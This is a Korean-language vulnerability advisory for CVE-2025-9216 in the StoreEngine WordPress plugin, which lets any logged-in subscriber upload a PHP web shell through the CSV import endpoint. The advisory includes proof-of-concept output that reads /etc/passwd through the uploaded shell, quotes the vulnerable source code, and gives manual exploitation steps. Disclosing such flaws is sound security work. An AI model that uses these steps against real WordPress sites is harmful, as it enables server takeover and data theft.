
StoreEngine – 강력한 WordPress 전자상거래 플러그인 (결제, 멤버십, 제휴, 판매 등을 위한) <= 1.4.0 - 인증된 (Subscriber+) 임의 파일 업로드
StoreEngine 플러그인의 CSV 가져오기/내보내기 기능에는 인증된 모든 사용자(구독자, 작성자, 편집자 등)가 임의의 파일을 업로드하고 원격 코드 실행을 달성할 수 있는 취약점이 있습니다. 이 취약점은 두 가지 보안 결함에서 비롯됩니다: (1) CSV 가져오기 엔드포인트에 적절한 파일 유효성 검사 및 권한 검사가 부족하고 보안을 위해 nonce 확인에만 의존하며, (2) storeengine_nonce가 플러그인의 JavaScript를 통해 모든 프론트엔드 사용자에게 노출됩니다. 이러한 조합으로 인해 모든 인증된 사용자가 프론트엔드 페이지에서 nonce를 추출하여 storeengine_csv/import 엔드포인트를 통해 PHP 웹 셸을 업로드할 수 있으며, 사실상 구독자+ 사용자에게 서버에서 임의의 코드를 실행할 수 있는 권한을 부여합니다.
omg.php라는 웹 셸을 업로드하는 것을 시연하는 POC CVE-2025-9216.py가 제공됩니다.python3 ./CVE-2025-9216.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: ff15beb1bd
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
Uploading web shell: omg.php
File upload response: {"success":true,"data":{"filename":"omg.php"}}
Web Shell At: http://localhost:1337/wp-content/uploads/storeengine_uploads/csv/omg.php
Executing test command: cat /etc/passwd
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</pre>
storeengine_csv/import AJAX 액션은 /wp-content/plugins/storeengine/addons/csv/ajax/import.php 파일의 51행에 있는 import() 함수를 호출하며, 이 함수에는 적절한 권한 검사 및 파일 유형 검증이 부족합니다:
public function import() {
if ( ! isset( $_FILES['file'] ) ) {
wp_send_json_error( 'No file uploaded.' );
}
$file = $_FILES['file'];
$folder = Helper::get_upload_dir() . '/csv/';
if ( ! file_exists( $folder ) ) {
wp_mkdir_p( $folder );
}
$filename = sanitize_file_name( $file['name'] );
$target = trailingslashit( $folder ) . $filename;
if ( ! move_uploaded_file( $file['tmp_name'], $target ) ) {
wp_send_json_error( 'Failed to move uploaded file.' );
}
wp_send_json_success( [
'filename' => $filename,
] );
}
이 함수는 sanitize_file_name()을 사용하여 파일 이름만 정리할 뿐 파일 유형 검증이나 기능 검사를 수행하지 않습니다. 따라서 웹 서버에서 실행할 수 있는 PHP 파일을 포함한 모든 파일 유형을 업로드할 수 있습니다.
storeengine_nonce는 플러그인의 JavaScript를 통해 모든 프론트엔드 사용자에게 노출됩니다. 이는 /wp-content/plugins/storeengine/includes/assets.php 파일의 279행에 있는 _get_script_data() 메서드에서 발생합니다:
public function _get_script_data(): array {
// ... other data ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
'rest_url' => esc_url_raw( rest_url() ),
// ... other data ...
];
}
이 nonce는 120행의 frontend_scripts() 메서드를 통해 프론트엔드 JavaScript로 지역화됩니다:
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // Calls _get_script_data()
);
nonce는 /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php 파일의 510행에 있는 AbstractRequestHandler::check_permission() 메서드에서 확인됩니다:
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
이러한 조합으로 인해 모든 인증된 사용자가 원격 코드 실행을 위한 PHP 웹 셸을 포함한 임의의 파일을 업로드할 수 있습니다.
storeengine_csv/import 액션을 호출하는 /wp-admin/admin-ajax.php로의 POST 요청을 가로챕니다.{"success":true,"data":{"filename":"shell.php"}}를 수신합니다.https://example.com/wp-content/uploads/storeengine_uploads/csv/shell.php에서 웹 셸을 찾아 코드를 실행합니다.